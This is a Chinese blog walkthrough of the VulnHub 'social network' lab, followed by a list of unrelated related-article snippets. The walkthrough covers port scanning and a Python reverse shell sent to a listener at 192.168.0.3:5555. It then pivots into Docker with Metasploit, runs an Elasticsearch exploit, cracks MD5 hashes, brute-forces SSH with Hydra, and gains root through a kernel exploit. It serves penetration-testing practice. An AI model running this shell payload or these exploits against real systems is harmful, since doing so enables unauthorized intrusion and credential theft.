vulnhub渗透测试靶场练习1
靶场介绍
靶场名:Medium_socialnetwork
下载地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
环境搭建
靶机建议选择VM VirtualBox,我一开始尝试使用VMware时会报错,所以改用VM VirtualBox,攻击机使用的是VMware中的kali,需要将VMware虚拟机kali和virtualbox靶机网络连接设置,参考链接如下:
https://blog.csdn.net/xujj10086/article/details/123836792
运行好的靶场:

靶场练习
1.扫ip,扫端口
使用arp-scan进行靶场地址探测
arp-scan是Kali Linux自带的一款ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描。批量扫描的时候,用户可以通过CIDR
地址范围或者列表文件的方式指定。该工具允许用户定制ARP包,构建非标准数据包。同时,该工具会自动解析Mac地址,给出MAC对应的硬件厂商,帮助用户确认目标。
arp-scan -l

探测到靶场ip为192.168.0.194
使用nmap扫描端口,发现开放了22的ssh服务端口和5000端口,猜测5000端口为web服务端口。

访问192.168.0.194:5000

英语不好,开个翻译看看,原来是一个留言网站

输入个123提示长度不够,输入123456成功留言


2.扫目录,登后台
暂时没啥思路,那就扫目录,突然发现我kali里没安dirsearch,也对,我平时都直接在Windows里扫,那这次也就直接用Windows扫吧。

扫出来一个admin目录,应该是后台页面,访问一下
好家伙,这是能直接执行代码,也太草率了吧
执行了一些linux命名,返回执行失败

直接看一眼wp,wp里说信息收集时发现是python写的网站,我咋没发现,用Wappalyzer也没识别出来

百度发现在kali中有个工具可以查看网站指纹信息,whatweb,于是尝试一下,果然发现使用了python

利用执行python代码功能反弹shell
使用反弹shell命令生成的平台,很方便
https://forum.ywhack.com/shell.php

kali先开启监听
直接复制过去还是执行不了的,因为这里给的都是在命令行里执行的形式,页面中也提示了使用exec()函数执行

最后输入代码如下:
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“192.168.0.3”,5555));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call([“/bin/sh”,“-i”]);
成功反弹shell

对获取到的shell进行信息收集
先使用ls命令看一下目录,发现有Docker文件,说明网站可能存在于docker容器中

使用ip a 或者ifconfig查看ip,发现ip地址和我们不一样,说明可能是docker环境


判断是否docker环境
方法一:判断根目录下 .dockerenv 文件
ls -alh /.dockerenv #非docker环境,没有这个.dockerenv文件
方法二:查询系统进程的cgroup信息
cat /proc/1/cgroup
Docker环境执行如下
通过这两种方式的验证,证实了我们现在是在docker环境中,也就是在内网环境中
内网探测,使用msf
因为处于内网,而且这里的子网掩码有16位,那么使用一个ping -c 1 ip去探测会过于漫长
所以我们使用一个循环代码进行探测
for i in $(seq 1 254);do ping -c 1 172.17.0.$i;done

发现一共存活了三个ip分别是172.17.0.1,172.17.0.2,172.17.0.3
为了接下来的探测方便,我们这里使用msf再次反弹shell

使用background将shell会话保存在msf中,方便以后直接连接,然后使用sessions -u 1 将普通的shell升级为meterpreter的shell,相对于普通的shell会有更多的功能

自动添加路由、添加代理
首先使用sessions 2 进入meterpreter中

run autoroute -p #打印活动路由表
run post/multi/manage/autoroute #自动创建路由
bg #将当前会话移动到后台 bg - background的别名
route print #查看路由表命令
添加代理,设置SRVPORT为1234
use auxiliary/server/socks_proxy
vi /etc/proxychains.conf #添加代理
使用代理探测内网ip信息
proxychains nmap -sV -sT 172.17.0.1
proxychains nmap -sV -sT 172.17.0.2
这里没跑出来,百度了一下,解决方法如下:
proxychains nmap -PN -sT 172.17.0.2
跑出来了9200端口
在kali中的火狐浏览器设置代理

访问172.17.0.2:9200

利用漏洞登录ssh
可以看到网站使用了elasticsearch1.4.2,我们去查一下这个版本所存在的漏洞
searchsploit elasticsearch
searchsploit -p 36337.py #查看第一个POC所在路径
proxychains python2 /usr/share/exploitdb/exploits/linux/remote/36337.py 172.17.0.2 #执行poc脚本

ls发现有密码文件

查看后发现是md5值

将root用户的密码md5值放到md5在线解密网站上尝试解码,还真解出来了

尝试进行ssh连接,发现root登录不上ssh,于是又去看wp,发现原来这里是要使用暴力破解工具进行爆破,找出其中可以连接ssh的账号。使用的工具为Hydra(九头蛇),kali中就有。
先分别把这几条md5都解出来(这个就要各显神通了),放到一个txt中,将用户名也放到一个txt中,准备好后就可以上九头蛇了。

hydra -L user.txt -P pass.txt ssh://192.168.0.194
很顺利的跑出了可以登录ssh的用户和密码

然后我们使用这个账号密码进行ssh登录
ssh john@192.168.0.194

成功登录
提权
提权这方面我了解的比较少,就直接跟着wp走了
先尝试sudo提权,失败

查看有无suid权限的文件,没有


uname -a 显示系统信息

可以看出linux内核版本为3.13.0,于是查找一下这个版本有无漏洞
searchsploit Linux 3.13.0

可以看到37292.c比较合适,查看一下脚本的绝对路径

查看代码,发现需要gcc编译(我看不懂,代码审计水平太菜了)

靶机环境中没有gcc

那么我们将编译好的文件和修改过的c代码运送到靶机运行,将代码里面要到gcc编译的地方删除(真是个好方法,大佬动手能力太强了)
将下图中选中的代码删除:

搜索编译好的ofs-lib.so

将37292.c编译,生成exp文件
gcc 37292.c -o exp

使用python将文件上传到靶机中
攻击机这边开启临时服务

靶机那边使用wget命令下载文件

因为编译的文件要在/tmp目录下,将文件转移到/tmp目录下

执行脚本,提权成功,获得root权限

总结
1.这是我第一次进行渗透测试靶场的练习,断断续续打了一整天,而且还是一直看着wp打的,感觉很多东西都是第一次接触。
2.对kali中的工具了解较少,msf的使用也不够熟练,linux命令也不够熟悉,提权部分修改代码那部分更是超出了我的能力范围,虽然能理解将代码中需要编译的东西在外面直接编译好再发过去这个操作,但是光凭自己去看代码的话肯定是看不出来要删哪部分代码的。
3.九头蛇这个工具也是第一次用,感觉很强大。
4.判断是否docker环境的操作也是第一次见识到,学到了很多。
参考链接
感谢大佬们的wp,没有大佬的wp,我寸步难行。
http://www.syrr.cn/news/35168.html?action=onClick
https://mp.weixin.qq.com/s/kkGPzcaNgr17488cUWAg8Q
相关文章:
vulnhub渗透测试靶场练习1
靶场介绍 靶场名:Medium_socialnetwork 下载地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/ 环境搭建 靶机建议选择VM VirtualBox,我一开始尝试使用VMware时会报错,所以改用VM VirtualBox,攻击机使用…...
Uart,RS232,RS485串口通讯协议学习
目录 定义 UART(通常被称为串口,简单意味着使用广泛,具有普适性) RS232 RS232电平转换 RS485 -Recommended Standard (再推荐标准) 485和232的对比 RS485组网 总结 定义 串口是我们都很熟悉的,尤其是需要串口调试的时候,打印信息插…...
UML中的assembly关系
UML中的assembly关系 1.什么是Assembly关系 在UML(统一建模语言)中,"assembly"(组装)是一种表示组件之间关系的关联关系。组件是系统中可替换和独立的模块,可以通过组装来构建更大的系统。 当一…...
[Python]缓存cachetools与TTLCache简介
文章目录 cachetools缓存策略缓存操作 TTLCache cachetools是一个Python第三方库,提供了多种缓存算法的实现。 cachetools 使用前需要先安装pip install cachetools,说明文档参见https://cachetools.readthedocs.io/en/latest/。 cachetools提供了五种…...
现在的00后,真是卷死了呀,辞职信已经写好了·····
都说00后躺平了,但是有一说一,该卷的还是卷。这不,三月份春招我们公司来了个00后,工作没两年,跳槽到我们公司起薪23K,都快接近我了。 后来才知道人家是个卷王,从早干到晚就差搬张床到工位睡觉了…...
【wpf】列表类,用相对源时,如何绑定到子项
前言 在之前的一篇文章 :《【wpf】深度解析,Binding是如何寻找数据源的》https://blog.csdn.net/songhuangong123/article/details/126195727#:~:text%E3%80%90wpf%E3%80%91%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%EF%BC%8CBinding%E6%98%AF%E5%A6%82%E4…...
头歌计算机组成原理实验—运算器设计(3)第3关:4位快速加法器设计
第3关:4位快速加法器设计 实验目的 帮助学生掌握快速加法器中先行进位的原理,能利用相关知识设计4位先行进位电路,并利用设计的4位先行进位电路构造4位快速加法器,能分析对应电路的时间延迟。 视频讲解 实验内容 利用前一步设…...
Java中synchronized的优化
本文介绍为了实现高效并发,虚拟机对 synchronized 做的一系列的锁优化措施 高效并发是从 JDK5 升级到 JDK6 后一项重要的改进项,HotSpot 虚拟机开发团队在 JDK6 这个版本上花费了大量的资源去实现各种锁优化技术,如适应性自旋(Ada…...
软件测试技术课程:软件测试流程
软件测试流程如下: 测试计划测试设计测试执行 单元测试集成测试确认测试系统测试验收测试回归测试验证活动 测试计划 测试计划由测试负责人来编写,用于确定各个测试阶段的目标和策略。这个过程将输出测试计划,明确要完成的测试活动&#x…...
【Redis】聊一下缓存双写一致性
缓存虽然可以提高查询数据的的性能,但是在缓存和数据 进行更新的时候 其实会出现数据不一致现象,而这个不一致其实可能会给业务来带一定影响。无论是Redis 分布式缓存还是其他的缓存机制都面临这样的问题。 数据不一致是如何发生? 数据一致…...
Java学习笔记-04
目录 静态成员 mian方法 多态 抽象类 接口 内部类 成员内部类 静态内部类 方法内部类 匿名内部类 静态成员 static关键字可以修饰成员方法,成员变量被static修饰的成员,成员变量就变成了静态变量,成员方法就变成了静态方法static修…...
pubspec.yaml 第三方依赖版本控制
以下是一些常见的版本控制方式: 精确版本号:您可以指定特定的版本号,例如 dependency_name: 1.2.3。这将确保只有指定的版本被安装和使用。 范围约束:您可以使用比较运算符来指定版本范围,例如 dependency_name: ^1.2…...
打印机出现错误0x00000709的原因及解决方法
一般来说,出现错误0x00000709,可能是用户试图设置默认打印机时,系统无法完成操作的错误。这种错误通常发生在Windows 10或Windows 7操作系统上。**驱动人生**分析,其原因可能是以下几种情况: 1、已经设置了另一个打印…...
代码随想录算法训练营第二十九天|491.递增子序列、46.全排列、47.全排列 II
目录 491.递增子序列 46.全排列 47.全排列 II 491.递增子序列 本题和大家刚做过的 90.子集II 非常像,但又很不一样,很容易掉坑里。 代码随想录 视频讲解:回溯算法精讲,树层去重与树枝去重 | LeetCode:491.递增子序…...
【Kafka】Kafka监控工具Kafka-eagle简介
Kafka-eagle是一种基于Web的开源管理工具,可以用来监控、管理多个Kafka集群。 下面是使用Docker部署Kafka-eagle的步骤: 下载并安装Docker和Docker Compose。 创建文件夹,例如kafka-eagle,并在其中创建docker-compose.yml文件&a…...
Java操作MongoDB
上一篇文章: http://blog.csdn.net/gaowenhui2008/article/details/40045719 介绍到了在MongoDB的控制台完成MongoDB的数据操作,通过前一篇文章我们对MongoDB有了全面的认识和理解。现在我们就用Java来操作MongoDB的数据。 开发环境: System:…...
Java断言(assert)的介绍和使用
Java断言(assert)的介绍和使用 在Java编程中,断言(assert)是一种有用的工具,用于在代码中进行条件检查和调试。通过使用断言,我们可以验证程序的逻辑和假设,确保程序在运行时达到预…...
我的世界Fabric mod开发-快速漏斗
前往我的主页以阅读完整内容,并获取源码 DearXuan的主页 MOD介绍 使用漏斗链进行分类或传递物品时,常常会发现漏斗速度太慢,难以收集全部掉落物.或者漏斗太多,影响性能.而现有的漏斗加速mod则是引入新的快速漏斗,存在各种兼容问题.开服时发现paper服务器可以修改原…...
AI“应用商店”来了!OpenAI首批70个ChatGPT Plugin最全梳理
OpenAI放出大招,本周将向所有ChatGPT Plus用户开放联网功能和众多插件本周将向所有ChatGPT Plus用户开放联网功能和众多插件,允许ChatGPT访问互联网并使用70个第三方插件。 本批第三方插件能够全方位覆盖衣食住行、社交、工作以及学习等日常所需&#x…...
NSS LitCTF部分wp
web 1、PHP是世界上最好的语言!! 直接cat flag flagNSSCTF{11eaebe0-3764-410d-be83-b23532a24235} 2、这是什么?SQL !注一下 ! 直接查询,发现注入点是id 使用sqlmap列出所以数据库 sqlmap -u "h…...
Harness与OpenClaw:当企业级DevOps遇见个人AI助手
EXCLUSIVE 深度调查Harness与OpenClaw:当企业级DevOps遇见个人AI助手两种AI Agent范式正在重塑软件交付与个人生产力AI日报2026年4月8日阅读约20分钟【核心提要ベ2026年,AI Agent领域出现了两种截然不同的范式:以Harness为代表的企业级DevOp…...
DAMOYOLO-S企业级应用:结合SpringBoot构建智能安防系统
DAMOYOLO-S企业级应用:结合SpringBoot构建智能安防系统 最近和几个做安防项目的朋友聊天,他们都在头疼一个问题:传统的监控系统越来越不够用了。摄像头是装了不少,但真正出事的时候,靠人力盯着屏幕,要么反…...
Steam Economy Enhancer:终极Steam批量交易与智能定价神器
Steam Economy Enhancer:终极Steam批量交易与智能定价神器 【免费下载链接】Steam-Economy-Enhancer 中文版:Enhances the Steam Inventory and Steam Market. 项目地址: https://gitcode.com/gh_mirrors/ste/Steam-Economy-Enhancer 还在为Steam…...
Graphormer部署进阶:Prometheus+Grafana监控GPU利用率与QPS指标
Graphormer部署进阶:PrometheusGrafana监控GPU利用率与QPS指标 1. 项目概述 Graphormer是一种基于纯Transformer架构的图神经网络,专门为分子图(原子-键结构)的全局结构建模与属性预测而设计。该模型在OGB、PCQM4M等分子基准测试…...
深度掌握FanControl:Windows风扇控制的终极解决方案
深度掌握FanControl:Windows风扇控制的终极解决方案 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_Trending/fa/F…...
2026抖音买单服务商专业解析:同城商家如何选择实力合作伙伴
在同城商家加速数字化转型的背景下,抖音买单作为"支付引流"的一体化工具,其核心价值正被越来越多的实体商户所关注。然而,面对市场上各类服务商宣传,如何准确评估合作伙伴的专业实力,成为商家决策的关键痛点…...
郭老师-如何判断一个人有没有领导力
如何判断一个人有没有领导力 ——从魅力到思想力的四重修炼“真正的领导力, 不在于个人魅力, 而在于—— 带领团队做出成绩, 赢得信任, 并拥有清晰的战略思想。”🌿 领导力的核心, 是绩效导向, …...
如何获得IEEE Xplore 兼容 PDF 文件?
某些期刊或会议(如DDCLS)提交终版论文PDF时,要求提供IEEE Xplore 兼容 PDF 文件,详细获取步骤如下。 1. 准备会议编号(Conference ID) 进入会议官网,一般在最终提交(Final submission)界面查看会议编号。如果实在找不到,直接给会…...
GHelper终极指南:5分钟掌握华硕笔记本硬件智能控制
GHelper终极指南:5分钟掌握华硕笔记本硬件智能控制 【免费下载链接】g-helper Lightweight, open-source control tool for ASUS laptops and ROG Ally. Manage performance modes, fans, GPU, battery, and RGB lighting across Zephyrus, Flow, TUF, Strix, Scar,…...
RGThree-Comfy:重新定义ComfyUI工作流效率的艺术创作引擎
RGThree-Comfy:重新定义ComfyUI工作流效率的艺术创作引擎 【免费下载链接】rgthree-comfy Making ComfyUI more comfortable! 项目地址: https://gitcode.com/gh_mirrors/rg/rgthree-comfy RGThree-Comfy是一个革命性的ComfyUI扩展套件,专为AI艺术…...










